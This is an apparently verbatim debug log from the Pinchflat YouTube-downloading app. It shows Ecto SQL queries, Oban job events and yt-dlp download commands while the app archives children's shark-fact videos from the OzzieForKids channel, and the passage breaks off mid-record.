SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9758] 13:16:21.081 [debug] Current batch of media processed. Will check again in 1000ms 13:16:22.081 [debug] Current batch of media processed. Will check again in 1000ms 13:16:23.084 [debug] Current batch of media processed. Will check again in 1000ms 13:16:24.086 [debug] Current batch of media processed. Will check again in 1000ms 13:16:24.911 [info] {"args":{"id":14408},"id":2349,"meta":{},"system_time":1788405384910947870,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:16:24.911 [debug] QUERY OK source="media_items" db=0.3ms idle=342.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 13:16:24.912 [info] User scripts lifecyle file either not present or is empty. Skipping. 13:16:24.912 [debug] QUERY OK source="sources" db=0.2ms idle=343.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:16:24.913 [debug] QUERY OK source="media_profiles" db=0.2ms idle=344.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:16:24.914 [debug] QUERY OK source="media_items" db=0.5ms idle=10.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14408] 13:16:24.915 [debug] QUERY OK source="media_metadata" db=0.4ms idle=4.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14408] 13:16:24.916 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:16:24.916 [debug] QUERY OK source="settings" db=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:16:24.917 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:16:24.917 [debug] Running yt-dlp command for action: get_downloadable_status 13:16:24.918 [debug] QUERY OK source="settings" db=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:16:24.919 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:16:24.919 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:16:24.919 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d4/0f/d40f7d8cdfed9223975e60337e545b91b33bbe91dd8906412c9ba5ca34951c61.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:16:25.088 [debug] Current batch of media processed. Will check again in 1000ms 13:16:26.089 [debug] Current batch of media processed. Will check again in 1000ms 13:16:27.097 [debug] Current batch of media processed. Will check again in 1000ms 13:16:28.098 [debug] Current batch of media processed. Will check again in 1000ms 13:16:29.101 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today we're discovering 10 amazing shark facts every kid should know! 🦈\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we explore amazing animals and uncover incredible facts about our world.\n\nDid you know sharks have been swimming in our oceans for more than 400 million years? Or that the whale shark is the biggest fish on Earth?\n\nJoin Ozzie as we dive beneath the waves to discover 10 incredible shark facts that are fun, fascinating and perfect for curious kids. Along the way, you'll meet giant whale sharks, speedy great white sharks, tiny dwarf lantern sharks and learn how these amazing ocean animals survive.\n\nWhether you already love sharks or you're just starting to learn about them, this episode is packed with exciting discoveries!\n\nKids will learn about:\nβ€’ Different types of sharks from around the world\nβ€’ Amazing shark adaptations and how they survive\nβ€’ Why sharks are important for healthy oceans\n\nTopics kids will learn about in this video:\n\nβ€’ Shark Facts For Kids\nβ€’ Sharks For Kids\nβ€’ Whale Shark For Kids\nβ€’ Great White Shark For Kids\nβ€’ Ocean Animals For Kids\nβ€’ Marine Life For Kids\nβ€’ Sharks Explained For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#SharkFacts #SharksForKids #OceanAnimals #OzzieForKids #EducationalVideosForKids #StayKeen", "duration" => 240, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-12 - 10 Amazing Shark Facts Every Kid Should Know! 🦈 Fun Shark Facts with Ozzie.mp4", "id" => "1t49T36WOjs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1t49T36WOjs", "playlist_index" => 17, "timestamp" => 1783832434, "title" => "10 Amazing Shark Facts Every Kid Should Know! 🦈 Fun Shark Facts with Ozzie", "upload_date" => "20260712"} 13:16:29.102 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=529.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:16:29.103 [debug] QUERY OK source="sources" db=0.4ms idle=530.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:16:29.106 [debug] QUERY OK source="media_items" db=2.9ms idle=531.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-12 05:00:34Z], 7] 13:16:29.113 [debug] QUERY OK source="media_items" db=4.7ms queue=0.1ms idle=535.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today we're discovering 10 amazing shark facts every kid should know! 🦈\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we explore amazing animals and uncover incredible facts about our world.\n\nDid you know sharks have been swimming in our oceans for more than 400 million years? Or that the whale shark is the biggest fish on Earth?\n\nJoin Ozzie as we dive beneath the waves to discover 10 incredible shark facts that are fun, fascinating and perfect for curious kids. Along the way, you'll meet giant whale sharks, speedy great white sharks, tiny dwarf lantern sharks and learn how these amazing ocean animals survive.\n\nWhether you already love sharks or you're just starting to learn about them, this episode is packed with exciting discoveries!\n\nKids will learn about:\nβ€’ Different types of sharks from around the world\nβ€’ Amazing shark adaptations and how they survive\nβ€’ Why sharks are important for healthy oceans\n\nTopics kids will learn about in this video:\n\nβ€’ Shark Facts For Kids\nβ€’ Sharks For Kids\nβ€’ Whale Shark For Kids\nβ€’ Great White Shark For Kids\nβ€’ Ocean Animals For Kids\nβ€’ Marine Life For Kids\nβ€’ Sharks Explained For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#SharkFacts #SharksForKids #OceanAnimals #OzzieForKids #EducationalVideosForKids #StayKeen", "10 Amazing Shark Facts Every Kid Should Know! 🦈 Fun Shark Facts with Ozzie", "ca78901f-bff7-413d-b437-402b1a440d86", 240, false, "1t49T36WOjs", "https://www.youtube.com/watch?v=1t49T36WOjs", 17, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-12 - 10 Amazing Shark Facts Every Kid Should Know! 🦈 Fun Shark Facts with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-07-12 05:00:34Z], ~U[2026-09-03 03:16:29Z], ~U[2026-09-03 03:16:29Z], "Today we're discovering 10 amazing shark facts every kid should know! 🦈\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we explore amazing animals and uncover incredible facts about our world.\n\nDid you know sharks have been swimming in our oceans for more than 400 million years? Or that the whale shark is the biggest fish on Earth?\n\nJoin Ozzie as we dive beneath the waves to discover 10 incredible shark facts that are fun, fascinating and perfect for curious kids. Along the way, you'll meet giant whale sharks, speedy great white sharks, tiny dwarf lantern sharks and learn how these amazing ocean animals survive.\n\nWhether you already love sharks or you're just starting to learn about them, this episode is packed with exciting discoveries!\n\nKids will learn about:\nβ€’ Different types of sharks from around the world\nβ€’ Amazing shark adaptations and how they survive\nβ€’ Why sharks are important for healthy oceans\n\nTopics kids will learn about in this video:\n\nβ€’ Shark Facts For Kids\nβ€’ Sharks For Kids\nβ€’ Whale Shark For Kids\nβ€’ Great White Shark For Kids\nβ€’ Ocean Animals For Kids\nβ€’ Marine Life For Kids\nβ€’ Sharks Explained For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#SharkFacts #SharksForKids #OceanAnimals #OzzieForKids #EducationalVideosForKids #StayKeen", "10 Amazing Shark Facts Every Kid Should Know! 🦈 Fun Shark Facts with Ozzie", 240, false, "1t49T36WOjs", "https://www.youtube.com/watch?v=1t49T36WOjs", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-12 - 10 Amazing Shark Facts Every Kid Should Know! 🦈 Fun Shark Facts with Ozzie.mp4", false, 7, ~U[2026-07-12 05:00:34Z]] 13:16:29.116 [debug] QUERY OK source="sources" db=1.4ms queue=0.2ms idle=187.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:16:29.117 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=13.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:16:29.119 [debug] QUERY OK source="media_items" db=1.0ms idle=14.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9760] 13:16:29.119 [debug] Current batch of media processed. Will check again in 1000ms 13:16:30.127 [debug] Current batch of media processed. Will check again in 1000ms 13:16:31.128 [debug] Current batch of media processed. Will check again in 1000ms 13:16:32.132 [debug] Current batch of media processed. Will check again in 1000ms 13:16:33.137 [debug] Current batch of media processed. Will check again in 1000ms 13:16:34.138 [debug] Current batch of media processed. Will check again in 1000ms 13:16:35.145 [debug] Current batch of media processed. Will check again in 1000ms 13:16:35.457 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d4/0f/d40f7d8cdfed9223975e60337e545b91b33bbe91dd8906412c9ba5ca34951c61.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 13:16:35.459 [debug] Running yt-dlp command for action: download 13:16:35.460 [debug] QUERY OK source="settings" db=0.9ms queue=0.2ms idle=886.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:16:35.461 [debug] QUERY OK source="settings" db=0.6ms idle=887.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:16:35.462 [debug] QUERY OK source="settings" db=0.5ms idle=888.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:16:35.463 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ba/e9/bae9a00a48417a7ba197c1c201725d0ed732d3cc7ea9573082d82d439bc89263.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:16:36.158 [debug] Current batch of media processed. Will check again in 1000ms 13:16:37.164 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "🦈 Dive into an ocean of fun with Ozzie's 10 Amazing Shark Facts Song for Kids!\n\nJoin Ozzie as we sing, clap, dance and discover incredible facts about one of the ocean's most fascinating animals. From giant whale sharks to super-powered shark senses, you'll learn amazing things while singing along!\n\nGet ready to move your body, snap your jaws and sing along as we explore the wonderful world of sharks together.\n\nMusic helps us learn and remember new things. So jump in and discover why sharks are some of the most amazing animals in the ocean!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\nβ€’ Amazing shark facts\nβ€’ How sharks survive in the ocean\nβ€’ Why sharks are important for healthy oceans\n\nTopics kids will learn about in this video:\nβ€’ shark facts for kids\nβ€’ shark song for kids\nβ€’ sharks explained for kids\nβ€’ whale shark facts for kids\nβ€’ ocean animals for kids\nβ€’ shark learning song\nβ€’ sharks for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Sharks #SharkFacts #OceanAnimals #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "duration" => 154, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-08 - 10 Amazing Shark Facts for Kids! 🦈 Better Than Baby Shark?! | Fun Shark Song with Ozzie.mp4", "id" => "09vRWSe8Otk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=09vRWSe8Otk", "playlist_index" => 18, "timestamp" => 1783540837, "title" => "10 Amazing Shark Facts for Kids! 🦈 Better Than Baby Shark?! | Fun Shark Song with Ozzie", "upload_date" => "20260708"} 13:16:37.166 [debug] QUERY OK source="sources" db=1.0ms queue=0.3ms idle=575.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:16:37.169 [debug] QUERY OK source="sources" db=1.5ms queue=0.2ms idle=578.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:16:37.177 [debug] QUERY OK source="media_items" db=6.6ms queue=0.1ms idle=580.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-08 20:00:37Z], 7] 13:16:37.181 [debug] QUERY OK source="media_items" db=2.8ms queue=0.1ms idle=588.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🦈 Dive into an ocean of fun with Ozzie's 10 Amazing Shark Facts Song for Kids!\n\nJoin Ozzie as we sing, clap, dance and discover incredible facts about one of the ocean's most fascinating animals. From giant whale sharks to super-powered shark senses, you'll learn amazing things while singing along!\n\nGet ready to move your body, snap your jaws and sing along as we explore the wonderful world of sharks together.\n\nMusic helps us learn and remember new things. So jump in and discover why sharks are some of the most amazing animals in the ocean!\n\nPerfect for curious kids aged 2–10, this episode is full of music, movement and discovery.\n\nKids will learn about:\nβ€’ Amazing shark facts\nβ€’ How sharks survive in the ocean\nβ€’ Why sharks are important for healthy oceans\n\nTopics kids will learn about in this video:\nβ€’ shark facts for kids\nβ€’ shark song for kids\nβ€’ sharks explained for kids\nβ€’ whale shark facts for kids\nβ€’ ocean animals for kids\nβ€’ shark learning song\nβ€’ sharks for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow 